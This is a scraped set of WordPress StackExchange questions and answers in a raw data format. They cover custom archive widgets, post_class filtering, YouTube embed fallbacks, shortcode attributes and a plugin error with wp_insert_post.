class=\"widefat\" id=\"<?php echo $this->get_field_id('title'); ?>\" name=\"<?php echo $this->get_field_name('title'); ?>\" type=\"text\" value=\"<?php echo esc_attr($title); ?>\" /></p>\n <?php\n }\n}\n</code></pre>\n\n<p>PS. I haven't tested that code, so it can contain some typos.</p>\n"
}
]
| 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302012",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/58274/"
]
| I am using the default widget in my sidebar Archive which currently displays the archive this way:
```
Mar 2018
Feb 2018
Jan 2018
```
However, I'd like it to display this way:
```
2018
March
February
January
2017
December
November
October
```
Where the months are links. How do I achieve that? What do I do to my sidebar.php file? | Changing the default widget would be pretty complicated.
However, you can write your own shortcode and function to get your desired list.
I'm guessing you want an unordered list in your widget?
Put this in your theme's functions.php:
```
add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');
function get_archive_by_year_and_month($atts=array()){
global $wpdb;
$years = $wpdb->get_col("SELECT DISTINCT YEAR(post_date) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC");
if($years){
$rueckgabe = '<ul>';
foreach($years as $year){
$rueckgabe.='<li class="jahr"><a href="'.get_year_link($year).'">'.$year.'</a>';
$rueckgabe.='<ul class="monthlist">';
$months = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT MONTH(post_date) FROM $wpdb->posts WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC",$year));
foreach($months as $month){
$dateObj = DateTime::createFromFormat('!m', $month);
$monthName = $dateObj->format('F');
$rueckgabe.='<li class="month"><a href="'.get_month_link($year,$month).'">'.$monthName.'</a></li>';
}
$rueckgabe.='</ul>';
$rueckgabe.='</li>';
}
$rueckgabe.='</ul>';
}
return $rueckgabe;
}
```
Then put a Text-Widget into your sidebar and enter the shortcode:
```
[archive_by_year_and_month]
```
Hit save and voila: You should get your list as you desired.
Happy Coding! |
302,013 | <p>It's a little hard to explain but I suppose you can understand if I elaborate it even more...</p>
<p>Normally when you search on a WordPress site, the results are either based on Title, Content, Category, Tags.</p>
<p>I want my Search to go through posts and look at custom fields too... So if a user searches for a specific custom field, let's say I have the post titled "Blah" and I created a field name is "Chocolate" and the field content is "Cadbury" so when user Search's for "Cadbury" the post "Blah" Should show up... I know there are few plugins for that like <code><http://wordpress.org/plugins/relevanssi/></code> but I'd be better off not bloating my site with too many plugins and plugins for every little thing...</p>
<p>I am not so great with WordPress but I suppose wp_query may do the work... Than you for any and every help</p>
| [
{
"answer_id": 302567,
"author": "HU is Sebastian",
"author_id": 56587,
"author_profile": "https://wordpress.stackexchange.com/users/56587",
"pm_score": 3,
"selected": true,
"text": "<p>Changing the default widget would be pretty complicated.</p>\n\n<p>However, you can write your own shortcode and function to get your desired list.</p>\n\n<p>I'm guessing you want an unordered list in your widget?</p>\n\n<p>Put this in your theme's functions.php:</p>\n\n<pre><code>add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');\n\nfunction get_archive_by_year_and_month($atts=array()){\n global $wpdb;\n $years = $wpdb->get_col(\"SELECT DISTINCT YEAR(post_date) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC\");\n if($years){\n $rueckgabe = '<ul>';\n foreach($years as $year){\n $rueckgabe.='<li class=\"jahr\"><a href=\"'.get_year_link($year).'\">'.$year.'</a>';\n $rueckgabe.='<ul class=\"monthlist\">';\n $months = $wpdb->get_col($wpdb->prepare(\"SELECT DISTINCT MONTH(post_date) FROM $wpdb->posts WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC\",$year));\n foreach($months as $month){\n $dateObj = DateTime::createFromFormat('!m', $month);\n $monthName = $dateObj->format('F'); \n $rueckgabe.='<li class=\"month\"><a href=\"'.get_month_link($year,$month).'\">'.$monthName.'</a></li>';\n }\n $rueckgabe.='</ul>';\n $rueckgabe.='</li>';\n }\n $rueckgabe.='</ul>';\n }\n return $rueckgabe;\n}\n</code></pre>\n\n<p>Then put a Text-Widget into your sidebar and enter the shortcode:</p>\n\n<pre><code>[archive_by_year_and_month]\n</code></pre>\n\n<p>Hit save and voila: You should get your list as you desired.</p>\n\n<p>Happy Coding!</p>\n"
},
{
"answer_id": 302791,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>I'm afraid, it would be pretty hard to modify the output of original widget. It uses <code>wp_get_archives</code> function to print the archive and there is no easy way to modify this output. You could try to use <code>get_archives_link</code>, but it can get a little bit messy.</p>\n\n<p>Saying that... There is other, much simpler way - writing your own widget.</p>\n\n<p>\n\n<pre><code>class WP_Widget_ArchivesByYear extends WP_Widget {\n\n public function __construct() {\n $widget_ops = array(\n 'classname' => 'widget_archive_by_year',\n 'description' => __( 'A monthly archive of your site&#8217;s Posts displayed by year.' ),\n 'customize_selective_refresh' => true,\n );\n parent::__construct('archives_by_year', __('Archives by Year'), $widget_ops);\n }\n\n public function widget( $args, $instance ) {\n global $wpdb;\n\n $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Archives' ) : $instance['title'], $instance, $this->id_base );\n\n echo $args['before_widget'];\n if ( $title ) {\n echo $args['before_title'] . $title . $args['after_title'];\n }\n\n $years = $wpdb->get_col(\"SELECT DISTINCT YEAR(post_date) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC\");\n\n if ( $years ) :\n ?>\n <ul class=\"years-list\">\n <?php\n foreach ( $years as $year ) : \n $months = $wpdb->get_col( $wpdb->prepare(\"SELECT DISTINCT MONTH(post_date) FROM {$wpdb->posts} WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC\", $year));\n ?>\n <li class=\"year\">\n <a href=\"<?php echo get_year_link($year); ?>\"><?php echo $year ?></a>\n <ul class=\"months-list\">\n <?php\n foreach ( $months as $month ) :\n $dateObj = DateTime::createFromFormat('!m', $month);\n ?>\n <li class=\"month\">\n <a href=\"<?php echo get_month_link($year, $month); ?>\"><?php echo $dateObj->format('F'); ?></a>\n </li>\n <?php endforeach; ?>\n </ul>\n </li>\n <?php endforeach; ?> \n </ul>\n <?php\n endif;\n\n echo $args['after_widget'];\n }\n\n public function update( $new_instance, $old_instance ) {\n $instance = $old_instance;\n $new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '') );\n $instance['title'] = sanitize_text_field( $new_instance['title'] );\n\n return $instance;\n }\n\n\n public function form( $instance ) {\n $instance = wp_parse_args( (array) $instance, array( 'title' => '') );\n $title = sanitize_text_field( $instance['title'] );\n ?>\n <p><label for=\"<?php echo $this->get_field_id('title'); ?>\"><?php _e('Title:'); ?></label> <input class=\"widefat\" id=\"<?php echo $this->get_field_id('title'); ?>\" name=\"<?php echo $this->get_field_name('title'); ?>\" type=\"text\" value=\"<?php echo esc_attr($title); ?>\" /></p>\n <?php\n }\n}\n</code></pre>\n\n<p>PS. I haven't tested that code, so it can contain some typos.</p>\n"
}
]
| 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302013",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136090/"
]
| It's a little hard to explain but I suppose you can understand if I elaborate it even more...
Normally when you search on a WordPress site, the results are either based on Title, Content, Category, Tags.
I want my Search to go through posts and look at custom fields too... So if a user searches for a specific custom field, let's say I have the post titled "Blah" and I created a field name is "Chocolate" and the field content is "Cadbury" so when user Search's for "Cadbury" the post "Blah" Should show up... I know there are few plugins for that like `<http://wordpress.org/plugins/relevanssi/>` but I'd be better off not bloating my site with too many plugins and plugins for every little thing...
I am not so great with WordPress but I suppose wp\_query may do the work... Than you for any and every help | Changing the default widget would be pretty complicated.
However, you can write your own shortcode and function to get your desired list.
I'm guessing you want an unordered list in your widget?
Put this in your theme's functions.php:
```
add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');
function get_archive_by_year_and_month($atts=array()){
global $wpdb;
$years = $wpdb->get_col("SELECT DISTINCT YEAR(post_date) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC");
if($years){
$rueckgabe = '<ul>';
foreach($years as $year){
$rueckgabe.='<li class="jahr"><a href="'.get_year_link($year).'">'.$year.'</a>';
$rueckgabe.='<ul class="monthlist">';
$months = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT MONTH(post_date) FROM $wpdb->posts WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC",$year));
foreach($months as $month){
$dateObj = DateTime::createFromFormat('!m', $month);
$monthName = $dateObj->format('F');
$rueckgabe.='<li class="month"><a href="'.get_month_link($year,$month).'">'.$monthName.'</a></li>';
}
$rueckgabe.='</ul>';
$rueckgabe.='</li>';
}
$rueckgabe.='</ul>';
}
return $rueckgabe;
}
```
Then put a Text-Widget into your sidebar and enter the shortcode:
```
[archive_by_year_and_month]
```
Hit save and voila: You should get your list as you desired.
Happy Coding! |
302,039 | <p>My plugin implements a shortcode respecting wp best practices, but a strange behavior appears.
First, the shortcode works perfectly on the test site, but not in production, with the exact same plugin code, but a slightly different environnement.
On production site, the problem is the following:
If i add a parameter to the shorcode, the shortcode seems not being interpreted and parsed at all. So adding this to my post body:</p>
<pre><code>[my_shortcode_tag category=who]
[my_shortcode_tag category="who"]
[my_shortcode_tag category='who']
[my_shortcode_tag category=]
</code></pre>
<p>results in front-end with the same display, no shortocde is parsed and interpreted. As soon as i add another one without parameter, like this:</p>
<pre><code>[my_shortcode_tag category=who]
[my_shortcode_tag category="who"]
[my_shortcode_tag category='who']
[my_shortcode_tag category=]
[my_shortcode_tag]
</code></pre>
<p>All shortcode start to work!... Everyone is interpreted and the display is correct.</p>
<p>Here is the shortcode function code:</p>
<pre><code>function my_shortcode_tag($atts = [], $content = null, $tag = '')
{
// normalize attribute keys, lowercase
$atts = array_change_key_case((array)$atts, CASE_LOWER);
// override default attributes with user attributes
$sc_atts = shortcode_atts([
'height' => '400px',
'category' => 'all'
], $atts, $tag);
$result = 'nothing';
$category = $sc_atts['category'];
$height = 'height="' . $sc_atts['height'] . '"';
DOFF_Utils::getLogger()->info("doff_show_office_stats_fn");
// here some code to change result, based on $category and $height values
$result .= '[gfchartsreports gf_form_id="9" type="total" maxentries="10000" custom_search_criteria=\'{"status":"active","field_filters":{"0":{"key":"24","value":"user:dental_office_id"}}}\']';
$result .= ' ' . __('questionnaires envoyés');
$result .= '<br/>';
$result .= '[gfchartsreports gf_form_id="8" type="total" maxentries="10000" custom_search_criteria=\'{"status":"active","field_filters":{"0":{"key":"295","value":"user:dental_office_id"}}}\']';
return do_shortcode($result);
}
</code></pre>
<p>Any idea what could be wrong here ?</p>
| [
{
"answer_id": 302567,
"author": "HU is Sebastian",
"author_id": 56587,
"author_profile": "https://wordpress.stackexchange.com/users/56587",
"pm_score": 3,
"selected": true,
"text": "<p>Changing the default widget would be pretty complicated.</p>\n\n<p>However, you can write your own shortcode and function to get your desired list.</p>\n\n<p>I'm guessing you want an unordered list in your widget?</p>\n\n<p>Put this in your theme's functions.php:</p>\n\n<pre><code>add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');\n\nfunction get_archive_by_year_and_month($atts=array()){\n global $wpdb;\n $years = $wpdb->get_col(\"SELECT DISTINCT YEAR(post_date) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC\");\n if($years){\n $rueckgabe = '<ul>';\n foreach($years as $year){\n $rueckgabe.='<li class=\"jahr\"><a href=\"'.get_year_link($year).'\">'.$year.'</a>';\n $rueckgabe.='<ul class=\"monthlist\">';\n $months = $wpdb->get_col($wpdb->prepare(\"SELECT DISTINCT MONTH(post_date) FROM $wpdb->posts WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC\",$year));\n foreach($months as $month){\n $dateObj = DateTime::createFromFormat('!m', $month);\n $monthName = $dateObj->format('F'); \n $rueckgabe.='<li class=\"month\"><a href=\"'.get_month_link($year,$month).'\">'.$monthName.'</a></li>';\n }\n $rueckgabe.='</ul>';\n $rueckgabe.='</li>';\n }\n $rueckgabe.='</ul>';\n }\n return $rueckgabe;\n}\n</code></pre>\n\n<p>Then put a Text-Widget into your sidebar and enter the shortcode:</p>\n\n<pre><code>[archive_by_year_and_month]\n</code></pre>\n\n<p>Hit save and voila: You should get your list as you desired.</p>\n\n<p>Happy Coding!</p>\n"
},
{
"answer_id": 302791,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>I'm afraid, it would be pretty hard to modify the output of original widget. It uses <code>wp_get_archives</code> function to print the archive and there is no easy way to modify this output. You could try to use <code>get_archives_link</code>, but it can get a little bit messy.</p>\n\n<p>Saying that... There is other, much simpler way - writing your own widget.</p>\n\n<p>\n\n<pre><code>class WP_Widget_ArchivesByYear extends WP_Widget {\n\n public function __construct() {\n $widget_ops = array(\n 'classname' => 'widget_archive_by_year',\n 'description' => __( 'A monthly archive of your site&#8217;s Posts displayed by year.' ),\n 'customize_selective_refresh' => true,\n );\n parent::__construct('archives_by_year', __('Archives by Year'), $widget_ops);\n }\n\n public function widget( $args, $instance ) {\n global $wpdb;\n\n $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Archives' ) : $instance['title'], $instance, $this->id_base );\n\n echo $args['before_widget'];\n if ( $title ) {\n echo $args['before_title'] . $title . $args['after_title'];\n }\n\n $years = $wpdb->get_col(\"SELECT DISTINCT YEAR(post_date) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC\");\n\n if ( $years ) :\n ?>\n <ul class=\"years-list\">\n <?php\n foreach ( $years as $year ) : \n $months = $wpdb->get_col( $wpdb->prepare(\"SELECT DISTINCT MONTH(post_date) FROM {$wpdb->posts} WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC\", $year));\n ?>\n <li class=\"year\">\n <a href=\"<?php echo get_year_link($year); ?>\"><?php echo $year ?></a>\n <ul class=\"months-list\">\n <?php\n foreach ( $months as $month ) :\n $dateObj = DateTime::createFromFormat('!m', $month);\n ?>\n <li class=\"month\">\n <a href=\"<?php echo get_month_link($year, $month); ?>\"><?php echo $dateObj->format('F'); ?></a>\n </li>\n <?php endforeach; ?>\n </ul>\n </li>\n <?php endforeach; ?> \n </ul>\n <?php\n endif;\n\n echo $args['after_widget'];\n }\n\n public function update( $new_instance, $old_instance ) {\n $instance = $old_instance;\n $new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '') );\n $instance['title'] = sanitize_text_field( $new_instance['title'] );\n\n return $instance;\n }\n\n\n public function form( $instance ) {\n $instance = wp_parse_args( (array) $instance, array( 'title' => '') );\n $title = sanitize_text_field( $instance['title'] );\n ?>\n <p><label for=\"<?php echo $this->get_field_id('title'); ?>\"><?php _e('Title:'); ?></label> <input class=\"widefat\" id=\"<?php echo $this->get_field_id('title'); ?>\" name=\"<?php echo $this->get_field_name('title'); ?>\" type=\"text\" value=\"<?php echo esc_attr($title); ?>\" /></p>\n <?php\n }\n}\n</code></pre>\n\n<p>PS. I haven't tested that code, so it can contain some typos.</p>\n"
}
]
| 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302039",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142595/"
]
| My plugin implements a shortcode respecting wp best practices, but a strange behavior appears.
First, the shortcode works perfectly on the test site, but not in production, with the exact same plugin code, but a slightly different environnement.
On production site, the problem is the following:
If i add a parameter to the shorcode, the shortcode seems not being interpreted and parsed at all. So adding this to my post body:
```
[my_shortcode_tag category=who]
[my_shortcode_tag category="who"]
[my_shortcode_tag category='who']
[my_shortcode_tag category=]
```
results in front-end with the same display, no shortocde is parsed and interpreted. As soon as i add another one without parameter, like this:
```
[my_shortcode_tag category=who]
[my_shortcode_tag category="who"]
[my_shortcode_tag category='who']
[my_shortcode_tag category=]
[my_shortcode_tag]
```
All shortcode start to work!... Everyone is interpreted and the display is correct.
Here is the shortcode function code:
```
function my_shortcode_tag($atts = [], $content = null, $tag = '')
{
// normalize attribute keys, lowercase
$atts = array_change_key_case((array)$atts, CASE_LOWER);
// override default attributes with user attributes
$sc_atts = shortcode_atts([
'height' => '400px',
'category' => 'all'
], $atts, $tag);
$result = 'nothing';
$category = $sc_atts['category'];
$height = 'height="' . $sc_atts['height'] . '"';
DOFF_Utils::getLogger()->info("doff_show_office_stats_fn");
// here some code to change result, based on $category and $height values
$result .= '[gfchartsreports gf_form_id="9" type="total" maxentries="10000" custom_search_criteria=\'{"status":"active","field_filters":{"0":{"key":"24","value":"user:dental_office_id"}}}\']';
$result .= ' ' . __('questionnaires envoyés');
$result .= '<br/>';
$result .= '[gfchartsreports gf_form_id="8" type="total" maxentries="10000" custom_search_criteria=\'{"status":"active","field_filters":{"0":{"key":"295","value":"user:dental_office_id"}}}\']';
return do_shortcode($result);
}
```
Any idea what could be wrong here ? | Changing the default widget would be pretty complicated.
However, you can write your own shortcode and function to get your desired list.
I'm guessing you want an unordered list in your widget?
Put this in your theme's functions.php:
```
add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');
function get_archive_by_year_and_month($atts=array()){
global $wpdb;
$years = $wpdb->get_col("SELECT DISTINCT YEAR(post_date) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC");
if($years){
$rueckgabe = '<ul>';
foreach($years as $year){
$rueckgabe.='<li class="jahr"><a href="'.get_year_link($year).'">'.$year.'</a>';
$rueckgabe.='<ul class="monthlist">';
$months = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT MONTH(post_date) FROM $wpdb->posts WHERE post_type='post' AND post_status='publish' AND YEAR(post_date) = %d ORDER BY post_date ASC",$year));
foreach($months as $month){
$dateObj = DateTime::createFromFormat('!m', $month);
$monthName = $dateObj->format('F');
$rueckgabe.='<li class="month"><a href="'.get_month_link($year,$month).'">'.$monthName.'</a></li>';
}
$rueckgabe.='</ul>';
$rueckgabe.='</li>';
}
$rueckgabe.='</ul>';
}
return $rueckgabe;
}
```
Then put a Text-Widget into your sidebar and enter the shortcode:
```
[archive_by_year_and_month]
```
Hit save and voila: You should get your list as you desired.
Happy Coding! |
302,040 | <p>I have this code:</p>
<pre><code><div class="video-embed" style="margin-top: 0px; z-index:102; margin-bottom: 0px;">
<?php
$url1 = get_post_meta( $post->ID , 'video_play' , true );
$search = '#(.*?)(?:href="https?://)?(?:www\.)?(?:youtu\.be/|youtube\.com(?:/embed/|/v/|/watch?.*?v=))([\w\-]{10,12}).*#x';
$replace = 'http://www.youtube.com/embed/$2';
$url = preg_replace($search,$replace,$url1);
?>
<iframe width="560" height="315" src="<?php echo $url; ?>" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
</div>
</code></pre>
<p>Now I need to implement feature...</p>
<p>If video_play is empty, try to get video_stop <code>$url1 = get_post_meta( $post->ID , 'video_stop' , true );</code>, if video_play and video_stop are empty show text "This video is removed".</p>
| [
{
"answer_id": 302041,
"author": "Bikash Waiba",
"author_id": 121069,
"author_profile": "https://wordpress.stackexchange.com/users/121069",
"pm_score": 2,
"selected": true,
"text": "<p>You can use if else:</p>\n\n<pre><code><div class=\"video-embed\" style=\"margin-top: 0px; z-index:102; margin-bottom: 0px;\">\n\n<?php\n\n$url1 = get_post_meta( $post->ID , 'video_play' , true ) ?: get_post_meta( $post->ID , 'video_stop' , true ) ?: false;\n\nif( $url1 ):\n $search = '#(.*?)(?:href=\"https?://)?(?:www\\.)?(?:youtu\\.be/|youtube\\.com(?:/embed/|/v/|/watch?.*?v=))([\\w\\-]{10,12}).*#x';\n $replace = 'http://www.youtube.com/embed/$2';\n $url = preg_replace($search,$replace,$url1);\n\n?>\n\n<iframe width=\"560\" height=\"315\" src=\"<?php echo $url; ?>\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n<?php \nelse: \n echo \"This video is removed\";\nendif; \n?>\n</div>\n</code></pre>\n"
},
{
"answer_id": 302053,
"author": "MLL",
"author_id": 113798,
"author_profile": "https://wordpress.stackexchange.com/users/113798",
"pm_score": 0,
"selected": false,
"text": "<p>Above answer is correct, just added if user logged in for video_stop.</p>\n\n<pre><code><div class=\"video-embed\" style=\"margin-top: 0px; z-index:102; margin-bottom: 0px;\">\n\n<?php\n\nif ( is_user_logged_in() ) {\n $url1 = get_post_meta( $post->ID , 'video_play' , true ) ?: get_post_meta( $post->ID , 'video_stop' , true ) ?: false;\n } else {\n $url1 = get_post_meta( $post->ID , 'video_play' , true ) ?: false; \n }\n\nif( $url1 ):\n $search = '#(.*?)(?:href=\"https?://)?(?:www\\.)?(?:youtu\\.be/|youtube\\.com(?:/embed/|/v/|/watch?.*?v=))([\\w\\-]{10,12}).*#x';\n $replace = 'http://www.youtube.com/embed/$2';\n $url = preg_replace($search,$replace,$url1);\n\n?>\n\n\n<iframe width=\"560\" height=\"315\" src=\"<?php echo $url; ?>\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n<?php \nelse: \n echo '<div id=\"removed\" style=\"\nleft: 0px;\nright: 0px;\nbackground: #111;\nposition: relative;\npadding-bottom: 56.25%;\npadding-top: 0px;\nheight: 0;\ntext-align: center;\n\"><p style=\"position: absolute;\n top: 45%;\n left: 0;\n width: 100%;\n height: auto;\n font-size: 25px;\n color: white;\n font-weight: bold;\">\n Video is removed!\n </a></p></div>';\nendif; \n?>\n</div>\n</code></pre>\n"
}
]
| 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302040",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113798/"
]
| I have this code:
```
<div class="video-embed" style="margin-top: 0px; z-index:102; margin-bottom: 0px;">
<?php
$url1 = get_post_meta( $post->ID , 'video_play' , true );
$search = '#(.*?)(?:href="https?://)?(?:www\.)?(?:youtu\.be/|youtube\.com(?:/embed/|/v/|/watch?.*?v=))([\w\-]{10,12}).*#x';
$replace = 'http://www.youtube.com/embed/$2';
$url = preg_replace($search,$replace,$url1);
?>
<iframe width="560" height="315" src="<?php echo $url; ?>" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
</div>
```
Now I need to implement feature...
If video\_play is empty, try to get video\_stop `$url1 = get_post_meta( $post->ID , 'video_stop' , true );`, if video\_play and video\_stop are empty show text "This video is removed". | You can use if else:
```
<div class="video-embed" style="margin-top: 0px; z-index:102; margin-bottom: 0px;">
<?php
$url1 = get_post_meta( $post->ID , 'video_play' , true ) ?: get_post_meta( $post->ID , 'video_stop' , true ) ?: false;
if( $url1 ):
$search = '#(.*?)(?:href="https?://)?(?:www\.)?(?:youtu\.be/|youtube\.com(?:/embed/|/v/|/watch?.*?v=))([\w\-]{10,12}).*#x';
$replace = 'http://www.youtube.com/embed/$2';
$url = preg_replace($search,$replace,$url1);
?>
<iframe width="560" height="315" src="<?php echo $url; ?>" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
<?php
else:
echo "This video is removed";
endif;
?>
</div>
``` |
302,055 | <p>I am trying to tidy up the <code>post_class</code> function.</p>
<p>I've managed to remove "hentry" class using the filter below, but I would also like to remove the "post-id", "type-" and "status-" classes as well. How can I use my filter to do this?</p>
<pre><code>function lsmwp_remove_postclasses( $classes ) {
$classes = array_diff( $classes, array( 'hentry' ) );
return $classes;
}
add_filter( 'post_class','lsmwp_remove_postclasses' );
</code></pre>
| [
{
"answer_id": 302056,
"author": "wpdev",
"author_id": 133897,
"author_profile": "https://wordpress.stackexchange.com/users/133897",
"pm_score": 0,
"selected": false,
"text": "<pre><code>add_filter( 'post_class', 'remove_hentry_function', 20 );\nfunction remove_hentry_function( $classes ) {\n if( ( $key = array_search( 'hentry', $classes ) ) !== false )\n unset( $classes[$key] );\n return $classes;\n}\n</code></pre>\n\n<p><a href=\"https://php.quicoto.com/how-to-remove-a-class-from-post_class-wordpress/\" rel=\"nofollow noreferrer\">Here</a> is reference</p>\n\n<p>It removing the <strong>\"hentry\"</strong> class.</p>\n"
},
{
"answer_id": 302059,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": true,
"text": "<p>One way would be to use <code>preg_match</code> and remove classes that matches given patterns, but... Since we know <code>$post_id</code>, we can use your code with a tiny modification:</p>\n\n<pre><code>function lsmwp_remove_postclasses($classes, $class, $post_id) {\n $classes = array_diff( $classes, array(\n 'hentry',\n 'post-' . $post_id,\n 'type-' . get_post_type($post_id),\n 'status-' . get_post_status($post_id),\n ) );\n return $classes;\n}\nadd_filter('post_class', 'lsmwp_remove_postclasses', 10, 3);\n</code></pre>\n"
}
]
| 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302055",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142603/"
]
| I am trying to tidy up the `post_class` function.
I've managed to remove "hentry" class using the filter below, but I would also like to remove the "post-id", "type-" and "status-" classes as well. How can I use my filter to do this?
```
function lsmwp_remove_postclasses( $classes ) {
$classes = array_diff( $classes, array( 'hentry' ) );
return $classes;
}
add_filter( 'post_class','lsmwp_remove_postclasses' );
``` | One way would be to use `preg_match` and remove classes that matches given patterns, but... Since we know `$post_id`, we can use your code with a tiny modification:
```
function lsmwp_remove_postclasses($classes, $class, $post_id) {
$classes = array_diff( $classes, array(
'hentry',
'post-' . $post_id,
'type-' . get_post_type($post_id),
'status-' . get_post_status($post_id),
) );
return $classes;
}
add_filter('post_class', 'lsmwp_remove_postclasses', 10, 3);
``` |
302,094 | <p>I'm realizing a sort of "page" inside admin area to insert post manually without the default method. This is only the begin...
Anyway, after firing Insert button of the form, the article is inserted, but i get a big long error: Fatal error: Uncaught Error: Call to undefined function ....</p>
<p>Here is the code:</p>
<pre><code><?php
/*
Plugin Name: TEST Importer
Plugin URI:
Description: No description.
Text Domain:
Author: The author
Version: 1.0
Author URI: http://www.example.net/
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
add_action( 'admin_menu', 'my_plugin_menu' );
function my_plugin_menu() {
add_menu_page(
'Importer',
'IMPORTER',
'manage_options',
'importer',
'display_content', //function
'dashicons-video-alt3',
50
);
}
add_action( 'admin_enqueue_scripts', 'register_importer_styles' );
function register_importer_styles() {
wp_enqueue_style( 'importer', plugins_url('importer.css', __FILE__) );
wp_enqueue_script( 'importer', plugins_url('importer.js', __FILE__) );
}
if (isset($_POST['insert'])) {
$title = $_POST['data'];
/*require_once( ABSPATH . 'wp-load.php' );*/
$my_post = array(
'post_title' => $title,
'post_content' => 'content here',
'post_status' => 'draft',
'post_author' => 1,
);
wp_insert_post( $my_post );
/*if ($post_id) {
// insert post meta
add_post_meta($post_id, 'duration', $seconds);
add_post_meta($post_id, 'quality', $is_hd);
}*/
}
add_action( 'admin_head', 'my_custom_admin_head' );
function my_custom_admin_head() { ?>
<script type="text/javascript">
//Some javascript code...
</script>;
<?php }
function display_content() { ?>
<div id="main_importer_area">
<form action="<?php echo admin_url('admin.php?page=importer'); ?>" method="post">
<input id="jx_text" type="text" name="data" >
<input id="ins_btn" type="submit" value="Insert" name="insert">
</form>
</div>
<?php } ?>
</code></pre>
<p>I hope somebody can help me... thanks a lot!</p>
<pre><code>Fatal error: Uncaught Error: Call to undefined function is_user_logged_in() in /home/***/public_html/wp-includes/post.php:2191
Stack trace:
#0 /home/***/public_html/wp-includes/post.php(6008): _count_posts_cache_key('post', 'readable')
#1 /home/***/public_html/wp-includes/class-wp-hook.php(286): _transition_post_status('draft', 'new', Object(WP_Post))
#2 /home/***/public_html/wp-includes/class-wp-hook.php(310): WP_Hook->apply_filters('', Array)
#3 /home/***/public_html/wp-includes/plugin.php(453): WP_Hook->do_action(Array)
#4 /home/***/public_html/wp-includes/post.php(4036): do_action('transition_post...', 'draft', 'new', Object(WP_Post))
#5 /home/***/public_html/wp-includes/post.php(3496): wp_transition_post_status('draft', 'new', Object(WP_Post))
#6 /home/***/public_html/wp-content/plugins/importer/importer.php(45): wp_insert_post(Array)
#7 /home/***/public_html/wp-settings.php(305): include_once('/home/yo.../...')
#8 /home/***/public_html/wp-config.php(89): require_o in /home/***/public_html/wp-includes/post.php on line 2191
</code></pre>
| [
{
"answer_id": 302095,
"author": "Orlando P.",
"author_id": 130535,
"author_profile": "https://wordpress.stackexchange.com/users/130535",
"pm_score": 1,
"selected": false,
"text": "<p>So If I understand correctly you are creating a custom import plugin to wordpress outside the normal wordpress scope.</p>\n\n<p>Therefore you don't have access to the functions inside <code>.pluggable.php</code> like <code>is_user_logged_in</code> you can redefine them in your plugin or you can just use</p>\n\n<pre><code>require_once( ABSPATH . \"wp-includes/pluggable.php\" );\n</code></pre>\n\n<p>You will also not be able to use wp_insert_post without</p>\n\n<pre><code>require_once( ABSPATH . \"wp-includes/wp-load.php\" );\n</code></pre>\n\n<p>loading the WordPress environment in your naked PHP is most often bad practice. </p>\n\n<p>I would recommend loading your plugin within the WordPress environment. You can do this by rendering your form with a shortcode or a custom template than all these functions will be available to you.</p>\n"
},
{
"answer_id": 315057,
"author": "bhumi patel",
"author_id": 151214,
"author_profile": "https://wordpress.stackexchange.com/users/151214",
"pm_score": -1,
"selected": false,
"text": "<p>I also had the same issue. But i fixed it with: </p>\n\n<pre><code>require_once( ABSPATH . \"wp-includes/pluggable.php\" );\n</code></pre>\n"
}
]
| 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302094",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/141373/"
]
